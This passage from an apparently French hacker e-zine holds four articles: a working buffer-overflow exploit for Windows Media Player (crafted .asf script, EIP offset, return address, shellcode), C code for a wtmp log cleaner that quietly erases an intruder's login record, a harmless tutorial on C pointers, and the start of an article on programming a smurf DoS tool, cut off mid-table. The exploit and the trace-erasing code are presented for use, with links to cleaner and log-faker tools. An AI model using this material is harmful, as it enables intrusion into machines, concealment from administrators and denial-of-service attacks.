Je ne pense pas que ce BoF soit exploitable ; j'ai quand mme voulu en parler pour
montrer un BoF simple prsent dans tout les win9x (c'est vraiment un bof li a l'os) 
pas de besoin de tlcharger de programme. En expliquant plusieurs exemples on peut 
aussi voir la diversit que peuvent prendre les BoF et la difficult pour coder 
certains exploits.
 



[ BoF: Exemple2 ]

Dans ce nouvel exemple je vais parler d'un BoF prsent dans le windows media player. 

Pour raliser ce BoF on va avoir besoin d'un outil: asfchop.exe, cet outil ce trouve 
sur le site de Mirco$oft il faut chercher un peu (quel bordel ce site) il fait partie 
d'une suite d'outils pour travailler les fichiers video: Microsoft Windows Resouce Kit.
Ce soft permet d'incorporer des donnes dans un fichier .asf.

Voici le fichier script.txt qui contient les donnes a insrer dans le fichier .asf

start_marker_table
0.0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0.1 IOC RULEZ
end_marker_table


Pour raliser cette insertion on utilise 'asfchop' avec la commande suivante:

      asfchop -in c:\file0.asf -out file1.asf -script c:\script.txt

On obtient un joli fichier 'file1.asf'. On le lance avec windows media player, et on 
s'aperoit que dessous la barre des boutons play, stop, pause etc.. il y a le titre 
'IOC RULEZ' :-) On clicke sur ce titre et la pouum SI surgit immdiatement, kool :)

On regarde les registres et on voit que EIP = 41414141 et EBP = 41414141, mais ce qui 
est le plus intressant c'est de regarder dans les registres on saperoit que EBX pointe 
dans le buffer, vers la fin. Cela va beaucoup nous servir car l'adresse du buffer change 
tout le temps ce qui fait que l'on ne peut pas donner d'adresse fixe a EIP. 

Par contre si l'on fait pointer EIP vers un 'call ebx' en memoire on est sr de tomber
sur le buffer  chaque fois.

Pour trouver un 'call ebx' je dsassemble user32.dll avec wdasm, au moins a je suis 
sr que c'est tout le temps charg en mmoire pour tous les windows (par contre je ne 
pense pas que l'adresse va tre compatible avec les win 2000/nt/xp ; pour que cela soit 
compatible il faudrait scanner la memoire  la recherche dun call de ce type).

Je trouve le premier call ebx en BFF549D9. Il aurait t biensr prfrable de prendre 
un call ebx dans le media player pour une meilleure compatibilit malheureusement celui 
ci n'en comporte pas. L'offset de l'crasement de EIP est 149 donc  cet offset je mets 
avec un diteur hexa le code D9 49 F5 BF (inversion des octets)

Je change mon fichier script de cette faon:

 
start_marker_table
0.0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBIAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0.1 IOC ROULAIZE :-)
end_marker_table


Dans le script le " I " correspond aux caractres ascii de BFF549D9; les 4 B avant 
c'est ce que l'on peut mettre dans EBP. J'ai mis a pour le fun, a va pas nous servir.
On pose un 'bpx BFF549D9' avec SI ce qui nous permettra de pouvoir suivre ce qui ce passe.

On relance le .asf cre avec le nouveau script, click sur le titre, SI break et on se 
retrouve dans user32.dll sur un call ebx tout va comme prvu.

Un petit F8 et je me retrouve dans une srie de 'inc ecx' car le code de cette instruction 
est le code ascii de A ( 41 ). Je suis  l'adresse 0056FA10 il faut que je trouve l'adresse 
du dbut du buffer pour y sauter, je remonte dans SI avec "Crtl + flche-du-haut" et je 
trouve le dbut de mon buffer en 0056F885 (les adresses sont certainement diffrentes chez
vous mais on s'en fout vu que l'on n'utilise pas de valeur directe).

Je pense que a mrite un petit schma du dsasemblage de la mmoire pour mieux
comprendre tout a


Adresse			Code			Instruction
--------    		----			-----------	

0056F885			41			INC ECX		<--- Dbut de mon buffer
0056F886			41			INC ECX
0056F887			41			INC ECX
........			..			... ...
........			..			... ...
........			..			... ...
........			..			... ...
0056F9DB			41			INC ECX
0056F9DC			DB 49			ESC		<--- Les intructions on s'en fout mais
0056F9DE			F5			CMC		<--- regardez bien le code c'est ici
0056F9DF			BF 41 41 41 41	mov edi, 41414141	<--- que l'on gribouille EIP
0056F9E4			41			INC ECX
........			..			... ...
........			..			... ...
........			..			... ...
........			..			... ...
0056FA0F			41			INC ECX
0056FA10			E9 70 FE FF FF	JMP 0056F885	        <--- Ce saut permet d'aller au dbut 
                                                                             du buffer afin d'utiliser au mieux 
0056FA15			41			INC ECX		     la place dont on dispose.
								             



Rcapitulation: 
_______________

EIP pointe vers un adresse o se trouve un call ebx. Une fois excut ce call 
on se retrouve en 0056FA10  cette adresse se trouve un saut qui nous ramne 
au dbut du buffer. 

Le buffer o l'on peut mettre le code est partag en plusieurs parties ; on peut 
reprsenter a de cette faon:

	0056F885		Buffer1		
				........				
				........				
				........
				Ecrire un saut vers buffer2		
	0056F9DC		EIP				
	0056F9E0		Buffer2			
				........
				........
				........
				Ecrire un saut vers buffer3		
	0056FA10		Saut buffer1	<- On commence ici
	0056FA15		Buffer3
				........
				........
				........


Trouver l'offset dans le buffer de ladresse 0056FA10
56FA10 - 56F885 = 18Bh = 395d

A l'offset 395 en decimal, on remplace, avec un diteur hexa, en suivant cinq 41 
par E970FEFFFF.    

E970FEFFFF = code pour le jmp 395 octet en arrire + 5 octet du saut lui mme. 
C'est pas trs important, je vais pas faire un cours sur les complments  2 et 
calcul de saut. SI donne le code directement. Il suffit de taper la commande 'a' 
et de taper l'instruction. Si la commande 'code on' est active alors SI donne le 
code directement

On va mettre au dbut du buffer un peu de code pour afficher une messagebox par 
exemple. Pour afficher une messagebox simple normalement on doit faire:


push 00000000
push offset titre
push offset message
push 00000000
call MessageBoxA

Problme ici le code de 'push 00' est '6A00'. Insr un 00 dans le code d'un 
exploit de Bof pose toujours un problme. Le 00 est souvent considr comme 
la fin de fichier, fin du packet etc... il ne faut pas mettre de 00 dans le code.

Il va falloir utiliser de petites astuces pour mettre 0 sur la pile:

xor eax, eax
push eax



Autre problme comme l'adresse du buffer change  chaque fois on ne peut pas 
utiliser une adresse fixe. Petite astuce avec le registre de pointeur de pile:

mov ebp, esp
mov [ebp+10], FFFFFFFF

Comme a on n'utilise pas d'adresse directe en plaant les donnes sur la pile.



Il faut aussi trouver l'adresse des api du kernel
La solution la plus simple est de dsassembler les dll o se trouvent les apis 
dont on a besoin :

user32.dll pour MessageBoxA 	 ---> BFF5412E
kernel32.dll pour ExitProcress ---> BFF8D4F8


Si cette solution est la plus simple, elle est aussi la plus mauvaise car la moins 
portable sur d'autres systmes windows (XP, 2000, nt). Les adresses changent suivant 
les windows pour faire un code bien portable il faut scanner la mmoire  la recherche 
de ces api ; ce sujet tant long et assez difficile pour les non initis, j'en parlerai 
plus tard peut-tre dans un article sur l'infection des environnements win32.




Bon aprs tous ces petits dtails voici le code pour afficher une MessageBox 
(libre  vous aprs de coder ce que vous voulez :) )
	 
		
89E5		    	mov ebp, esp
31C0			xor eax, eax
C74501494F4334	        mov [ ebp + 01 ], 34434F49		;4COI
894505		        mov dword ptr [ ebp + 05 ], eax	;00
C7450648454C4C	        mov [ ebp + 06 ], 4C4C4548 		;LLEH
C7450A4F20574F	        mov [ ebp + 0A ], 4F57204F		;OW O			
C7450E524C4421	        mov [ ebp + 0E ], 21444C52		;!DLR
894512		        mov dword ptr [ ebp + 12 ], eax	;00
50			push eax
8D5D01		        lea ebx, [ ebp + 1 ]
53			push ebx
8D5D06	                lea ebx, [ ebp + 6 ]
53    		        push ebx			
50			push eax
E8F930B5BF		call MessageBoxA				;call BFF5412E	
50			push eax
E8BDC4B8BF  	        call ExitProcess				;call BFF8D4F8




Maintenant il ne reste plus qu' ajouter le code au dbut de notre buffer et 
crer le nouveau fichier .asf. Et ds que l'on clique sur le titre ajout,
la MessageBox est excute et le media player ferm proprement.






[ Conclusion ]

Piouf voil c'est fini enfin :) j'espre que personne ne s'est perdu en route.
Vous l'aurez compris les BoF sous windows sont souvent difficiles  exploiter 
et il est souvent difficile aussi de les faire portables sur un maximum de versions 
de windows.

Moralit :  << Rien ne sert de courir il faut savoir fragger  point !!! >>
 










---------------------------------------------------------------------------------------
IV.                      Wtmp is your friend                                   Neofox
---------------------------------------------------------------------------------------



[ Introducion ]

Ce texte fait suite  l'article sur les  logs cleaners parut dans le prcdent 
numro. Nous ne reviendrons pas sur le fonctionnement  de ces derniers, ni sur
leur programmation, aussi est il prfrable d'avoir lu mon permier article sur
le sujet. Nous allons parler d'un problme pos par les log cleaners  la mode,
lors du nettoyage de wtmp, qui vous permettrait en tant qu'admin de dceler la
presence d'un intrus sur votre machine. Nous verrons ensuite comment il serait     
possible  ce meme intrus  d'effacer ses traces de  manire bien plus discrte, 
en particulier lorsque l'intrusion a lieu sous Irix. 

CES METHODES SONT PRESENTEES CI-APRES DANS LE BUT DE DE MIEUX COMPRENDRE LES 
ACTIONS MENEES PAR UN INTRUS SUR UN SYSTEME COMPROMIS. NOUS VOUS DECONSIELLONS
FORTEMENT D'UTILISER CES INFORMATIONS DANS UN BUT ILLEGAL.     
  






                  ++++ | Partie 1 : Le Problme | ++++
                                  
                                  => Le Code
                                  => Dmonstration


  I. Le Code :
  ____________

Le problme provient de la manire dont les cleaners comme vanish ou hideme 
recherchent dans wtmp les entres  effaer. La recherche est effectue aprs
avoir dclarer une structure de type 'utmp', en comparant le contenu des champs 
ut_name et ut_hosts, respectivement avec argv[1] & [2] ; cela qui permet de cibler
l'entre  effaer. Le code utilis est du type : 


       // On ouvre l'original
       if((input=open(WTMP, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input);
       }
       
       // On cre la copie
       if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){
             while((read(input, &w, size))>0){

                 // On compare les champs user et hosts
                 if((strncmp(w.ut_name,argv[1],strlen(argv[1]))==0))
                    && (strncmp(w.ut_hosts, argv[2], strlen(argv[2]))==0)){
                        
                         // si c'est la bonne entre on ne copie pas
                                 
                 }else{
                    // sinon on copie
                    write(output,&w,size);
                 } 
            } 
        } 



Vous voyez donc qu'on a ralis une copie de toutes les entres sauf de celles
qui contiennent nos traces. On remplacera ensuite l'original par sa copie.





  II. Dmonstration : 
  ___________________

Imaginez que nous soyons loggs sur une machine de notre rseau, disons
au compte compte 'toto' (once again =) en provenance d'une 2nd machine 
de ce mme rseau que l'on apellera 'machine'. Nous allons lister les 
derniers logins, puis effaer le notre. 

Nous devons donc taper :

host# last
toto    machine     Mon Jun 10 14:27     still logged in       <= notre connexion
toto    machine     Sun Jun 09 13:45  -  13:50                 <= une cnx normale de toto
toto    machine     Sun Jun 09 08:02  -  12:35                 <= une autre cnx de toto
other   somehost    Fri Jun 07 18:37  -  21:41                 <= qqln d'autre

wtmp begins Fri Jun  7 15:10:11 2002
host# ./vanish   toto   machine   111.112.121.123
       
          V_A_N_I_S_H_E_D
  Your tracks have been removed

host# last
other   somehost    Fri Jun 07 18:37  -  21:41                 <= qqln d'autre

wtmp begins Fri Jun  7 15:10:11 2002
host#




Oups ! =)
Que s'est il pass ? Eh bien, il se trouve que toto a pour habitude de se connecter
 son compte sur 'host' depuis une autre machine du LAN, en l'occurence, depuis la 
machine d'o nous venons. 

De ce fait, notre entre dans wtmp est identique aux entres rgulires de toto :
les champs 'ut_name' sont identiques puisqu'on a utilis le mme compte, mais les 
champs 'ut_host' le sont aussi puisque nous venons de la mme machine ! 
Lors du nettoyage, vansih a recherch les connexions au compte 'toto' provenant de 
'machine' et les a supprimes.

Ainsi, au lieu de n'effaer de wtmp que LA trace de notre passage, nous avons 
en fait effa TOUTES les connections au compte 'toto' depuis 'machine', c'est  
dire notre propre trace, et avec elle, TOUTES les connections de cet utilisateur !

En effet, en temps normal, c'est le nom d'hote qui permet de cibler la bonne entre 
( quoi qu'il n'est pas toujours possible  d'utiliser ce champ ) ; mais dans un  cas 
comme celui-ci, on ne peut pas diffrencier l'entre de l'intrus de celles  du vrai 
utilisateur et il est par consquent impossible de la supprimer sans toucher au reste.

Les admins ont intret  consulter rgulirement l'historique des logins, de manire
 pouvoir constater le cas chant la dispartion subite de toute les connexions d'un 
utilisateur et ainsi, dcouvrir le poteau rose.








                    ++++ | Partie 2 : La Solution | ++++

                                     => Nouvelle Mthode
                                     => Nouveau code
                                     => Dmonstration



  I. Nouvelle Mthode :
  _____________________

Bien videmment, une solution serait de n'effaer que notre entre ; mais comment 
diffrencier notre trace des entres normales de l'utilisateur dont nous empruntons
le compte, lorsque les champs ut_hosts sont identiques ?

En fait, c'est tout bte. Nous supposerons qu'au moment d'effaer vos traces, vous 
soyez le dernier utilisateur  vous tre logg. Votre trace est alors la dernire 
entre en date dans wtmp.  Attention cependant : lors d'un 'last', la dernire cnx
en date est la PREMIERE  s'afficher ; l'affichage se fait donc de la plus rcente 
 la plus ancienne. L'affichage inverse enfait l'ordre des entres de wtmp. En effet 
dans wtmp, la connexion la plus rcente est la DERNIERE entre,  la fin du fichier.

Nous venons de voir que c'est la position de l'entre dans le fichier qui permet de 
l'identifier. Il nous faut donc ne cibler et n'effaer que la dernire ligne de wtmp 
correspondant  l'utilisateur dont nous empruntons le compte.

Mais pour pouvoir dterminer si nous sommes ou non en prsence de cette dernire entre,
il nous faut auparavant connatre le nombre exact d'entres correspondant au couple
username/hostname donn en argument.



[ L'Astuce ]

L'astuce que je vous propose est la suivante :

1) Il faut tout dabord mesurer la taille en octets du fichier original, puis l'ouvrir.

2) On procde ensuite une premire lecture : si l'entre courrante contient l'username
et le nom d'hte, c'est que nous sommes en prsence d'une connexion intressante ; il
peut s'agir soit de la notre, que nous devrons alors effaer, soit d'une connection 
normale de l'utilisateur depuis le mme hote que nous, auquel cas on ne doit pas la
toucher. Quoi qu'il en soit, on incrmente le conteur A. 

3) Une fois la lecture termine, conaissant la taille en octets du fichier, nous pouvons 
retourner au debut de celui-ci avec lseek(). 

4) Nous commenons une seconde lecture en faisant tourner le conteur B de la mme manire,
ce qui va indiquer notre position courrante.
 
5) Grace au conteur A, nous conaissons  cet instant le nombre exact d'entres 
correspondant  l'username et au nom d'hote. Si A indique 10, c'est qu'il y a dans 
wtmp 10 entres correspondantes, la notre tant thoriquement la 10me.
Si B indique 3, c'est que la tte de lecture se trouve actuellement  la 3me
entre sur les 10 nous intressant. Si on poursuit le raisonnement, lorsque B
indiquera 10, nous serons en prsence de la dernire des 10 entres, la notre. 
Il faudra donc l'effaer. Eureka !







  II. Nouveau Code :
  __________________

Voici l'extrait d'un exemple de code implmentant mon ide.
Nous allons arriver a nos fins  l'aide d'un jeu de compteurs :


// Counters
int i,		/* contera le nobre d'entres effaes */
    size,       /* taille de la structure */
    nbr,	/* nombre d'entres contenant username et hostname (A) */
    current,	/* indique la le n de l'entre courrante (B)*/ 
    lenght;	/* taille de wtmp en octets */ 





int main ( int argc, char *argv[]){
     
       if(argc!=3){
           fprintf(stderr,"Usage : %s <user> <host or IP>\n", argv[0]);
           exit(1);
       }



Nous devons connatre la taille exacte du fichier en octets, afin de pouvoir
retourner au dbut avec "lseek();" une fois la premire lecture termine.


       // Mesure de la taille du fichier 
       if(stat(WTMP,&status)==-1){
          fprintf(stdout,"\nThere's not %s here ?!\n", WTMP);
          exit(1);
       } else {
          lenght = status.st_size; 
       }

La taille en octets du fichier wtmp est  prsent dsigne par 'lenght'.
Bien, nous testons l'ouverture de l'orignal, puis nous crons la copie.


       // Ouverture de du fichier original
       size=sizeof(w);
       if((input=open(WTMP, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            exit(1);
            close(input);
       }

       
       // Creation de la copie et premiere lecture 
       if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){
             while((read(input, &w, size))>0){

                 // On recherche les entres correspondantes
                 if((strncmp(w.ut_name,argv[1],strlen(argv[1]))==0) &&
                   (strncmp(w.ut_host,argv[2],strlen(argv[2]))==0)){
                             nbr++; // On les compte
                } 
        } 




Nous venons de rechercher dans wtmp les entres correspondant au couple
argv[1]/argv[2] (username/hostname). Le nombre d'entres est dsign par
'nbr'. C'est le compteur A dont je parle plus haut.

La premire lecture est  prsent termine et la "tte de lecture" est
positionne en bas du fichier. Connaissant la taille de celui-ci, nous
replaons la tte au dbut pour commencer une nouvelle lecture


             // retour au dbut
             lseek(input,-lenght,SEEK_END);


             // Puis seconde lecture
             while((read(input, &w, size))>0){


Nous recherchons  nouveau les entres correspondantes ; nous en conaissons
dja le nombre. On incrmente le compteur 'current'  chaque entre si celle-ci
colle. Cela nous indique donc que nous sommes  la ligne n 'current' pour un 
total de 'nbr' lignes retenues. C'est le compteur B dont je parle plus haut.


                  if((strncmp(w.ut_name,argv[1],strlen(argv[1]))==0)&&
                    (strncmp(w.ut_host,argv[2],strlen(argv[2]))==0)){
                                current++; 



Si current==nbr (<=> A=B), cela signifie que nous nous trouvons par exemple  
la ligne n10 sur un total de 10 lignes , soit  la dernire entre, celle que 
nous voulons virer ! 


                              if(current == nbr){
                                    i++; // On veut supprimer cette entre
                                         // donc incrmente et on la saute

                              } else {
                                   // sinon, on copie
                                   write(output,&w,size);
                              }
                   } else {
                      // sinon, l'entre ne correspond pas
                      // donc on la copie
                      write(output,&w,size);
                   }   
                } 
            } 


            fprintf(stdout,"%d line(s) found for user '%s'\n", nbr, argv[1]);
            fprintf(stdout,"%d track(s) deleted\n", i);
            close(input);
            close(output);







  III. Dmonstration :
  ____________________


Reprenons l'exemple de tout  l'heure et voyons ce que cela aurait donn
avec le nouveau code :

host# last
toto    machine     Mon Jun 10 14:27     still logged in     <= votre connexion
toto    machine     Sun Jun 09 13:45  -  13:50               <= une cnx normale de toto
toto    machine     Sun Jun 09 08:02  -  12:35               <= une autre cnx de toto
other   somehost    Fri Jun 07 18:37  -  21:41               <= qqln d'autre

wtmp begins Fri Jun  7 15:10:11 2002

host# ./new
Usage : ./new <user> <host or IP>
host# ./new  toto  machine
3 line(s) found for user 'toto'
1 track(s) deleted
host# last
toto    machine      Sun Jun 09 13:45  -  13:50              <= une cnx normale de toto
toto    machine      Sun Jun 09 08:02  -  12:35              <= une autre cnx de toto
other   somehost     Fri Jun 07 18:37  -  21:41              <= qqln d'autre

wtmp begins Fri Jun  7 15:10:11 2002
host#


Seule la bonne entre a t effae. Comme quoi, finalement, on peut faire des 
omelettes sans casser des oeufs =).








                    ++++ | Partie 3 : Sous Irix | ++++
                                    
                                     => Explications
                                     => Getafix v2.0



  I. Explications :
  _________________


Irix est un OS que l'on peut qualifier d'exotique, ne serait-ce que par la position
de ses fichiers de log. Nous allons nous intresser seulement  wtmp. Si vous avez
dja essay d'y compiler, disons vanish, vous avez surement eut quelques surprises.
L'explication se trouve dans '/usr/include/utmp.h' qui dfinit l'allure de la
structure de type 'utmp' :


       struct utmp
     {

   	char ut_user[8];
   	char ut_id[4];
   	char ut_line[12];
   	char ut_pid;
   	short ut_type;
   	time_t ut_time;

      }


Comme vous pouvez le voir, il n'y a pas de champ 'ut_host' et il vous faudra donc 
ajuster votre vanish.c de manire  n'utiliser que 'ut_name', sans quoi, vous ne 
pourrez pas compiler. Dans le meilleur des cas, la recherche de l'entre  effaer
ne peut donc se faire qu'en examinant le champ 'ut_name' ce qui augmente grandemment
le risque d'effaer une ou plusieurs mauvaises entre en plus de la bonne. 

Nettoyer nos traces revient alors  supprimer sans le vouloir toutes les entres
correspondant au compte que nous utilisons. Nettoyage intgral garanti ! 
Aussi la mthode que je vous propose s'avre d'autant plus utile dans un cas 
comme celui-ci. 



  
 
  II. Getafix v2.0 :
  __________________


Dans le prcdent numro, je vous proposais la version 1.0 d'un log cleaner 
pour Irix, baptis "getafix" pour l'occasion. Aujourd'hui, la version 2.0
implmente cette nouvelle approche pour nettoyer wtmp sans faire de casse.
J'ai galement corrig quelques petites erreurs, sans grande importance, 
notemment en ce qui concerne certains compteurs mal incrments.

Vous trouverez 'getafix v2' ici :

      http://www.rootshell.be/~ioc/downloads/progs/cleaners






[ Conclusion ]

Je ne donnerais pas ici de code complet, je vous laisse le soin de parfaire vos 
propres outils selons vos besoins, en esprant que cet article vous y aidera. 
Pour tout commentaires, conseils, questions, ou pour signaler une erreur, n'hesitez
pas  me contacter, je suis l pour a.

J'en profite pour signaler au passage un nouvel outil de conception trs intressante ; 
il s'agit d'un log faker que je vous laisse dcouvrir par vous mme :

           http://www.rootshell.be/~mrmilow
















---------------------------------------------------------------------------------------
V.                Language C : Comprendre les Pointeurs                          MeiK
---------------------------------------------------------------------------------------



[ Introduction ]

Beaucoup de dbutants butent un moment sur les pointeurs lorsqu'ils apprennent 
 programmer en langage C. Et encore, mme certains programmeurs de niveau moyen 
rencontrent quelques difficults avec les pointeurs. Vu qu'il semble que ce soit 
un problme pour la majorit, je me suis senti presque oblig de faire un article 
l dessus.




  I. Qu'est-ce qu'un pointeur ? :
  _______________________________


Avec les mots les plus simples, un pointeur est une variable qui garde en mmoire 
l'adresse d'une  autre variable. C'est un peu comme l'adresse que vous mettez sur 
une enveloppe (bon, on est  l're de l'e-mail, mais c'est toujours d'actualit). 
Cette adresse pointe vers la maison de la personne  qui vous voulez envoyer la 
lettre. Le pointeur garde simplement l'ADRESSE. De la mme manire que l'enveloppe 
a l'adresse de la personne, elle *pointe* vers la personne.

Vous avez compris ? Vous voyez donc que c'est simple jusque l...

Ensuite, pourquoi on trouve que c'est une faon chiante de faire les choses est un 
autre sujet que vous dcouvrirez un peu plus tard dans cet article.




  II. Dclarer des pointeurs : 
  ____________________________


Dclarer un pointeur est une chose trs simple :

char *pointeur;

Dans ce cas, le pointeur pointe vers l'adresse mmoire d'une variable de type 
CHAR. Notez que a doit pointer vers une variable de type CHAR et non un autre 
type. Le compilateur risque de vous faire chier si vous mettez pas le bon type. 




  III. Utiliser les pointeurs :
  _____________________________


Maintenant on va faire un petit change. On va changer le contenu de deux 
variables en utilisant des pointeurs :

int var1 = 13, var2 = 69, temp;
int *pointeur;


pointeur = &var1;		/* Au cas ou vous ne savez pas que &var1 est  "adresse de */
                                /* "l' adresse de l'emplacement du contenu de var1" et non */
                                /* le contenu actuel de var1 lui-meme */

temp = *pointeur;		/* Copie la valeur de la variable pointe par 'pointeur' */
                                /* dans la variable 'temp', dans ce cas l, 'var1 */


*pointeur = var2;		/* Copie le contenu de var2  l'adresse pointe par le pointeur*/

var2 = temp;			/* copie le contenu de var2 dans temp */

On a juste chang les valeurs en utilisant les pointeurs. Bon, a peut sembler 
sans intrt, mais a montre bien comment s'utilisent les pointeurs.




  IV. L'Oprateur d'Adresse :
  ___________________________


Je pense qu'il est grand temps de s'occuper de l'oprateur d'adresse car il y a 
quelques petits dtails utiles que vous devriez connatre  propos de ce dernier. 
Il y a quelques trucs que vous ne pouvez pas faire avec l'oprateur d'adresse ; 
certains peuvent sembler vidents, d'autres pas.

-[1]-

var_adresse = &13;
Vous ne pouvez pas utiliser l'oprateur d'adressage avec des constantes.

-[2]-

var_adresse = &(valeur + 69);
Vous ne pouvez pas utiliser l'oprateur d'adressage dans des expressions 
impliquant l'utilisation d'oprateurs tels que + et -. 

-[3]-

var_adresse = &reg;
Vous ne pouvez pas utiliser l'oprateur d'adressage en prcdant des variables 
register tant donn la dfinition register reg.




  V. Pointeurs et Tableaux :
  __________________________


Les pointeurs et les tableaux sont assez lis et sont ainsi confondus. 
Voyons le morceau de code suivant : 

float salaire[50];
float *float_ptr;

Maintenant on considre :

float_ptr = salaire;
float_ptr = &salaire[0];

Bon, ces deux instructions font la mme chose. Elles font que float_ptr 
pointe vers le premier lment du tableau 'salaire'.

Une chaine constante (comme "Input Output Corporation") est stocke dans un 
tableau de caractres avec un caractre de fin en tant que dernier caractre. 
Mais regardez ce qui suit :

char *char_ptr = "Input Output Corporation";

Ca dfinit non seulement le pointeur, mais a l'initialise aussi  l'adresse 
du premier caractre dans la chaine. La mme chose aurait pu tre crite de la 
faon suivante :

char *char_ptr;
char_ptr = "Input Output Corporation";



  VI. "Pointeurs  pointeurs" :
  ____________________________


Cela vous semble peut-tre chiant, mais a vous servira trs souvent si vous 
commencez  coder beaucoup plus un jour. En fait, par ce titre, je voulais dire 
que c'est un pointeur qui pointe sur un pointeur qui pointe sur l'adresse d'une 
certaine variable. 

L'exemple le plus courant est certainement dans la fonction main() avec 
les paramtres qu'on lui passe depuis la ligne de commande :


int main(int argc, char *argv[]);

le char *argv (qu'on crit aussi parfois char **argv[]) est un pointeur 
de pointeur. 





[ Conclusion ]

Que retenir de tout a ? bien tout simplement que les pointeurs peuvent 
devenir assez utiles parfois, vous l'aurez vu dans la premire partie. Bon, 
je sais pertinement qu'il y a des tas d'autres choses  dire sur les pointeurs, 
mais si vous tes un dbutant, vous dcouvrirez le reste de vous mme ; si vous 
tes dj un programmeur avanc, vous devez dj savoir.













---------------------------------------------------------------------------------------
VI.                    Programmation d'un Smurfer                               Li0n7
---------------------------------------------------------------------------------------



[ Introduction ]

Smurfing, DoS, techniques qui furent trs en vogue ces cinq dernires annes, 
ont largement prouves leur efficacit lors de mise hors service de serveurs web.
Le principe, trs simple et cher aux kiddies, rebute nanmoins la plus part des 
individus dsireux de tenter l'exprience en raison de sa difficult de mise 
en oeuvre, du moins au niveau de la programmation de l'outil. Je ne vais pas 
m'embarrasser  vous rappeler le principe du fonctionnement d'un smurfer, vous 
tes tous censs le connatre. Les paquets ICMP envoys seront de type ICMP_ECHO 
et de code 1.


[ Sommaire ]

 I.  Protocole ICMP
 II. Protocole IP
 III.Programmation du smurfer
 IV. Implmentation
 V.  Code source

 






  I. Le Protocole ICMP :
  ______________________

Le protocole ICMP (Internet Control Message Protocol) est un protocole 
qui permet de grer les informations relatives aux erreurs aux machines 
connectes. Etant donn le peu de contrles que le protocole IP ralise,
ICMP permet non pas de corriger ces erreurs mais de faire part de ces 
erreurs aux protocoles des couches voisines. Ainsi, le protocole ICMP est 
implment par tous les routeurs, qui l'utilisent pour reporter une erreur 
(appele Delivery Problem). Les messages d'erreur ICMP sont transportes 
sur le rseau sous forme de datagramme, comme n'importe quelle donne. 
Ainsi, les messages d'erreur peuvent eux-mmes tre sujet d'erreurs. 
Toutefois en cas d'erreur sur un datagramme transportant un message ICMP, 
aucun message d'erreur n'est dlivr pour viter un effet "boule de neige" 
en cas d'incident sur le rseau. 



[ Datagramme ICMP ] 

Nous savons donc que les donnes sont envoys sous forme de datagrammes, 
ce dernier est d'une simplicit dconcertante compar  des datagrammes 
TCP par exemple (ncessitant un nombre plus consquents de headers). 
Il contient donc 4 champs: 
 
           o type, cod sur 8 bits ; lors de notre smurf nous
                   dfiniront le type comme ICMP_ECHO.
 
           o code, cod sur 8 bits ; nous lui allouerons la valeur 1.

           o checksum cod sur 16 bits 

           o et le message qui peut avoir une taille variable. 



Je vous propose une petite reprsentation ci-dessous, (excusez mon manque 
de talent artistique) :
 

                 0 ______________________15-16________________________31
                 |       |                Message ICMP (xb)            |
                 |  ID.  |____________________________________________ |
                 |       |        |         |             |            |
                 |       |Type(8b)| Code(8b)|Checksum(16b)|sequence(xb)|
                 |_______|________|_________|_____________|____________|



*Type: Voici une liste non exhaustive des diffrentes valeurs 
       susceptibles de remplir le champ type du datagrame ICMP. 
       On ne va pas passer en revu chaque type, l'echo reply et 
       l'host unreachable nous intrssant seulement.




+----+-----------------------------------------------------------+
|TYPE|                     DESCRIPTION                           |
+----------------------------------------------------------------+
|  0 | Echo reply                                                |
+----------------------------------------------------------------+
|  1 | Rserv                                                   |
+----------------------------------------------------------------+
|  2 | Rserv                                                   |
+----------------------------------------------------------------+ 
|  3 | Destination injoignable (unreachable)                     |
+----------------------------------------------------------------+
|  4 | Source quench                                             |
+----------------------------------------------------------------+
|  5 | Redirection                                               |
+----------------------------------------------------------------+
|  6 | Addresse hte alternative                                 | 
+----------------------------------------------------------------+
|  7 |                                                           |  
